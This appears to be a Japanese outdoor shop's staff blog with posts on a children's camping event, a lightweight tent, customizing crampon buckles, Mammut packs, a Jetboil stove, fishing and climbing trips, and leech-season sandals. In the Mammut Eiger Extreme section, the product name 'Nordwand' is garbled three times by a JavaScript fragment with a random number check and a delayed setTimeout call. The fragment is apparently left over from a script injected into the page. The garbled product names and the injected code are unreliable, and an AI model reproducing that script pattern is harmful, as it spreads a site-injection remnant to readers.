もっと面白い事や印象に残ることだらけなハズですが、逆にそーゆーのは以外と残らない。
アサヒのロゴの上にキリン出現。ここ最近で一番うれしかった画像。最悪だ、DENALI BLOGもココまで落ちたかぁ・・・。マニアの皆様、過剰な期待は禁物です!、日常なんてこんなモンよ。さぁ、今週も頑張っていきましょーっ!。
山の店デナリのスタッフが綴るブログです
もっと面白い事や印象に残ることだらけなハズですが、逆にそーゆーのは以外と残らない。
アサヒのロゴの上にキリン出現。ここ最近で一番うれしかった画像。最悪だ、DENALI BLOGもココまで落ちたかぁ・・・。マニアの皆様、過剰な期待は禁物です!、日常なんてこんなモンよ。さぁ、今週も頑張っていきましょーっ!。
先週末は、認定NPO法人ふれあい自然塾主催の~サバイバル登山家:服部文祥と行く海辺の釣り&キャンプ~にボランティアで安全管理スタッフとして参加してきました。場所は神奈川の三浦海岸。京急三崎口から30分くらいかなぁ~。内容は子供たちに釣り・テント設営・焚き火・料理・キャンプでのゲーム等々を教える。ガイドの経験はまだまだだが、コレはかなり得意(苦笑)。
昔は近所のオッサンやお兄ちゃんが連れてってくれたり教えてくれたことばかりだが、昨今そういうイイ風習は無いらしく、意識の高い親が子供を参加させているようです。死ななければ何でもアリ的な雰囲気は子供たちにはかなり刺激的だったことでしょう(笑)。
で、使ったテント。4人用テントでなんと2070gという軽さ。このテントはメッシュ部分がかなり多いテントなんですが・・・、実は他社のメッシュテントは意外と重い。そう!ナイロン生地の進化によりメッシュ生地の方が重くなってしまうんです。でもココのテントは軽い。開発頑張っていますねぇ~!風通し良く、湿度の高いこの時期から使うテントとしてはかなり快適です(冬は無理)。設営も簡単で力技は皆無。室内も横方向の梁があるため天井を高く感じます。で、価格は59,850円(消費税込)細かいサイズは次の通りW:229 D:218、183 H:114。しいて弱点書くなら、・構造上の問題で横からの風に弱いので稜線上での使用には不安が残る。・生地が極めて薄いので取り扱いが繊細の2点かなぁ~。マッ!軽くて快適でカッコいいので、十分使いたいテントですね!!。
手前PETZL社IRVIS FL(イルビス FL¥18,375/820g)で奥BLACK DIAMOND社CONTACT CLIP(コンタクトクリップ¥14,700/880g)でございます。
道具屋に言わせれば、「ステンレスかクロモリか?」については、「岩岩してればクロモリ、雪稜なら大差なし」、「ヒモかパッチンか?」については「厳冬期なら手数が少ないパッチン、何にでも着けたければヒモ」が通説でございます。
ただ、職業ユーザーに言わせれば、「壁ではステンレスよりクロモリ」とか「自分でパッチン出来ないからヒモ」と言う人もいれば「ヒモは時間掛かるし締めづらいからパッチン」と見解が分かれます。こーゆーこだわりはカラビナ1枚売るにしても同じ、「これが正解!」がないので大変です。
で、お客様に言わせれば、「軽いの」、「安いの」、凄く分かるのですが、「自分が何したいの?」と聞くとそこが今一分かっていない。そんな狭間に置かれ続けてくると、こちらも「先の先」ぐらいは見越して対応しおります。
で、本日のお題「P社のバックルは小さいから上手く外せません、でもパッチン使ってみたい。とっ思ったら、壁なのでクロモリにした方がイイと言われた場合どーすればイイのですか?」です・・・。
ホントは「もう1台買いましょう!」って言葉しか頭によぎらないのですが、この前買ってもらったばかりだとそーもいかない。お客様の立場も「軽いの」、「安いの」で最終的に「高いの」、「自分で出来ないの」では立つ瀬なし・・・。
そーゆー時は「職業ユーザー・店・お客様」、この公式を使えば難題も一発解決!。アイゼンは「前爪・センタープレート・ヒールピース」なので、お店の役目は「センタープレート」です!、そんな訳で分解から構築!。
左からB社・P社・Before・After、ココを替えればどーにかなる!。言っておきますが、「改造」ではございいません!「カスタマイズ」、「改良」です。うちはTヨタとかN産のよーなメーカーでございませんので、お客様のご希望とあらば「族車かレーシング仕様まで」、町工場感覚で気軽に相談して下さい。但し、全て自己責任、頼んだのもあなた、使うのもあなた、重要なのは「自分自身がどーしたいか」です!。冗談じゃない、毎度毎度こんな事に時間使ってケチつけられたらやってられませんからね(笑)。
愚痴りながらも手を動かしていれば、ほーれ、完成。山ちゃんに「この造形美が分かる!?」て聞いても所詮、困っていない人、今一ググって来ないよーだが、これで職業ユーザーの面子もお客様の面子も保たれる、左右を支えるセンタプレートって大変なんですね。
久々、“くりえ~てぃぶ”な仕事が出来てらぼ的には最高OK、暫くコレで使ってみて下さい。ちなみに、僕は純正派です。出来れば自分が使う道具ぐらい上手に使って欲しいってのが本音。人や物に文句言う前に自分のへボさを実感して日々修練すべきが正道。研究室送りは最終カードとして取っておきましょう!(笑)。
『ゾウさんマーク』でおなじみのマムートザック(エレメント系)のザックが入荷しました。まず、エレメント系とは何ぞやというと『ちょっと軽くて、ちょっと安い(マムート比)』そんなザックです。
【TrionElement 45+7L (M’s)】 @21,000
0136(graphite-smoke)
【TreaElement (W’s)】
25L @17,850/35L @18,900/40+7L @21,000
0601(graphite-iron)
↓25L
↓40+7L
【HeraElement 50+15L (W’s)】 @26,250
0513(smoke-iron)
またJET BOIL SOL TI(ソルチタニウム)(¥19,500)入荷ました!。今回は2台。俺まだ我慢します、欲しい人お先にどーぞ。
「前回と違って2台になってるじゃん!、絵面違うじゃん!」、と吠えても“手抜き疑惑”が払拭出来ないので、一応、インプレッション。
幸か不幸か、店内で実験する程最近は暇ではない。水量計ったり、沸騰時間計ったり、ガス残量計ったり、そーゆーのは雑誌とかの仕事ですから、余程ネタがなければ考えてもイイが、とりあえず、手持ちのP-153と勝負させてみました。コーヒー飲むために500ml、「時間半分」とまではいきませんが「1/3」は削れる。ただ、P-153はフルスロットル全開モードなので「ガス残量」が関わってくると、ソルチタニウムは相当優秀です。初代Flashとも明らかに違う・・・。
カタログスペック書くと皆さんの楽しみが無くなってしまいそーなので割愛しますが、只今のオススメの買い方のは、“ソルチタニウム+SUMO TIコンパニオンカップ(1.8L/265g)”で「状況に応じて鍋替える」ですかね。余裕ある人はSUMO TI(¥27,800)のガス検待ちの2個持ち。レギュレーターはソル・スモは同じ。JBの他機とはカタログスペック、0.5Lで15秒の差が生じます。「軽い・早い」などの形容詞を重視する方はココは奮発すべきでしょう!。もっと色々悩みたい方は店来て相談して下さい、幾らでも揺さぶりますyo(笑)。
『ゾウさんマーク』でおなじみのマムートザック(トリオンぷろ系)の新色が入荷しました。
カラーリングだけでなく、細部のマイナーチェンジも行われたので、旧ver.との違いが気になる方はスタッフに声をかけてください!!
【TrionPro 50+7L】 @38,325
0550(smoke-curry)/0055(black-fire)
【TrionGuide 45+7L (M’s)】@27,300
0040(black-graphite)
【TreaGuide 40+7L (W’s)】 @27,300
5406(eclipse-iron)
↓マムートの公式HPによるとTrionProのヒップベルトを外すと、スクレーパーの代わりになるとか!?
山スキーヤーには嬉しい機能!!
http://www.mammut.ch/ja/productDetail/251002221_v_0550_507/Trion-Pro.html
なお、スクレーパーとしてご使用された場合の破損等につきまして、当ブログは一切の責任を負いません。
今回のお題は「お魚捕まえて宴会に備える!」です。本末転倒、宴会メインか釣りメインか本人すら分からぬまま、直江津事業所でお仕事開始。店サボって5日になると多少、罪の意識が芽生えるが「お仕事」と書けば許されるよーな気がする。
マズイ、またあの人の竿が曲がっている、僕の方は心が折れそーです。
世間は狭いので、隣の船ではご近所の釣り雑誌のあの人が仕事している、半笑いで。
で、本日の結果は6対10対0対3でコテンパン。基本、倍付で叩きのめす事しか考えてないので、このまま海に飛び込もうか? 。本日の労働時間5:00-23:00でサラッと18時間頑張った割には出来は今一。何か最近調子悪い・・・、ミラクルの清算がここへ来てされているのか?。
とりあえず、釣り道具を置いて山道具に切り替え6日目の逃避行。あの人の家の出産祝いと宴会用資源を持参で乾杯!。たかが宴会、されど宴会、俺イイ仕事してるぜぃ!。
何処ぞのメーカーさん間違って「○○釣り教室」やらない?。冠さし上げますので、ご検討ください。
MAMMUTザックの最高峰モデル。
販売店が限られている【EIGER EXTREME】シリーズの
Trion/Trea Nordwandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andが入荷しました!!過酷なアルパインで想定されるすべての要素を盛りこんだ、通好みのザックに仕上がっています。
価格は男性モデルの【Trion Nordwandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 35L】が@34,650。
女性モデルの【Trea Nordwandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 32L】が@33,600です。
売り切れ必至の限定モデル。
本体はロールアップ式でフロントのジッパー(上下どちらからもOPEN)から直接メインコンパートメントにアクセスが出来ます。
防水性の高い生地を使用していて、縫い目はすべてシーム加工されています。
バックルは強度の高い金属製。
本体の中には取り外し可能なアイゼンケース付き。
そしてなんと、フレーム上部のベルクロを外し、フレームを引っ張ると!!
こんなものが出現します!!
※ゴムは付属していますがクイックドローは別売り。
取り外し可能なVフレームは、片方がナッツキー、もう一本はプリクリップ用のステッキとしても使えます。
因みに左右のフレームを連結させるとなんと約1.1mになります!!
一週間ほどお休みを頂き、山岳ガイド佐藤勇介夫婦と3人でトレーニングがてら台湾へクライミング行っておりました。半年前にも行きましたが、連日の嵐・・・・。で、今回はそのリベンジ!
場所は台湾北部の龍洞(ロンドン)と言うエリアです。岩質は砂岩。エリアの広さルートの本数は城ヶ崎海岸ですかね~。トラッドとスポートルートが半々位で、とても1週間では当たり前だがやりきれない(笑)。5年~10年通ってナンボ!
デナリブログ情報だけ読んで、お店へ来ない節操のない日本からのクライマーでこのエリアが流行るとヤダから、細かいお得情報はあえて書きません!!知りたい方はお店に遊びに来て下さいねん。まっ!とにかく開放感あふれる景観のなか登ってきました。
この時期、流石暑い。日本では滅多にしない上裸・・・・。
南国ですね!開放感満点です。
人気の長港エリア。
日曜日ってこともあり、台湾クライマー沢山いました。
上の写真のとある1本(写真の丁度真ん中辺り)。
上部核心部分のハング超え~!
岩場近くの食堂にてランチ・・・。
大腸麺線(そうめんのホルモン煮込み)です。約100円弱だったかな!
で、今回使ったNEWギアのインプレッションは次回・・・・。
暑くなってきたのか、そうでもないのか・・・。まだ何とも言えないですが丹沢の聖獣『YAMABILU』は活動を開始しているようです。動きは似ているもののシャクトリ虫とは一味違う肉感がたまりません。特に血を吸った後のあのコロコロした姿は丹沢の『ゆるキャラ』を担うであろう萌えポイントです。ヒルを見た山ガールもキャーキャーと喜んでいるので大倉のバス停にヒルのキーホルダーが売られるのも時間の問題でしょう。
ところでそんな愛おしいヒルに会うにはどうしたらよいのでしょうか。それは簡単です。足元の露出を増やせば良いのです。ヒルは動物の出す二酸化炭素と体温を検知すると言われています。と言うことで、今回は新作サンダルの紹介です。
SALOMON:TECH AN PHIBIAN3 @9,345
INOV-8:RECOLITE @9,975
・・・で、ヒルなんかやだという人はこのスプレーを足回りにシュシュッとかけるとヒルの付着を防げます。
ヒル除けスプレー:ヒル下がりのジョニー @1,260
サンダル、スプレーともに数が限られていますのでお求めの際はお早めに。